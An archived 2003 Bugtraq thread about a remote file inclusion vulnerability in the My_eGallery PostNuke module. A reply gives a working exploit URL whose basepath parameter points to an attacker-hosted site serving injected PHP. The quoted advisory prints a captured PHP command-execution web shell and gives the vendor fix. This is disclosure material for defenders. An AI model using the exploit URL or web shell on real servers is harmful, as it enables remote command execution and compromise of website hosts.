

Re: Remote execution in My_eGallery

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2003-12/0001.html>

From: Fauvet Ludovic (*etix_at_runbox.com*)

Date: 11/30/03

Date: Sun, 30 Nov 2003 01:16:31 +0100

To: bugtraq@securityfocus.com

Hi,

There is some php scripts which are vulnerables.

One of these is displayCategory.php .

So you just have to go to:

[http://www.\[vulnerable\].com/modules/My_eGallery/public/displayCategory.php?basepath=http://\[youwebsite\].com](http://www.[vulnerable].com/modules/My_eGallery/public/displayCategory.php?basepath=http://[youwebsite].com)

And create a directory "public" in the root of your website and put a file named imageFunctions.php with the code you want to inject.

```
--
/*-----
Best regards,
[::eTiX::]
(Fauvet Ludovic)
-----*/
Bojan Zdrnja wrote:
> Product: My_eGallery
> Versions affected: all <3.1.1.g
> Website: http://lottasophie.sourceforge.net/index.php
>
> 1. Introduction
> -----
>
> My_eGallery is a very nice PostNuke module, which allows users to create and
> manipulate their own galleries on the web, plus offers various additional
> features.
> For more information and a demonstration you can go to the Website above.
>
> 2. Exploit
> -----
>
> Any version of My_eGallery, prior to 3.1.1.g, is susceptible to this
> vulnerability.
>
> Certain php files have some parameters which are used in include functions
> not filtered.
> An intruder can craft PHP code on their Web site and supply parameter to
> My_eGallery so it actually includes malicious PHP code.
>
> The following code was captured as being used in the wild (edited
> intentionally):
>
> <?
> // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
```

SecurityFocus Bugtraq: Re: Remote execution in My_eGallery

```
> if (isset($chdir)) @chdir($chdir);
> ob_start();
> execute("$cmd 1> /tmp/cmdtemp 2>&l; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
> $output = ob_get_contents();
> ob_end_clean();
> print_output();
> ?>
>
> This allows execution of any command on the server with My_eGallery, under
> the privileges of the Web server (usually apache or httpd).
>
>
> 3. Solution
> -----
>
> Vendor was contacted and promptly replied. Fix is available at the vendor's
> site:
>
> http://lottasophie.sourceforge.net/modules.php?op=modload&name=Downloads&file=index&req=viewdownload&cid=5
>
> As this was seen being exploited in the wild, users are urged to upgrade to
> the latest version as soon as possible.
>
>
>
> Regards,
>
> Bojan Zdrnja
> CISSP
>
>
> -----BEGIN PGP PUBLIC KEY BLOCK-----
> Version: GnuPG v1.2.1
> mQGIBD744NQRBACSpLYHKjo3PCDHVuJZFkzNkK9gzjCNXQnzIwp
```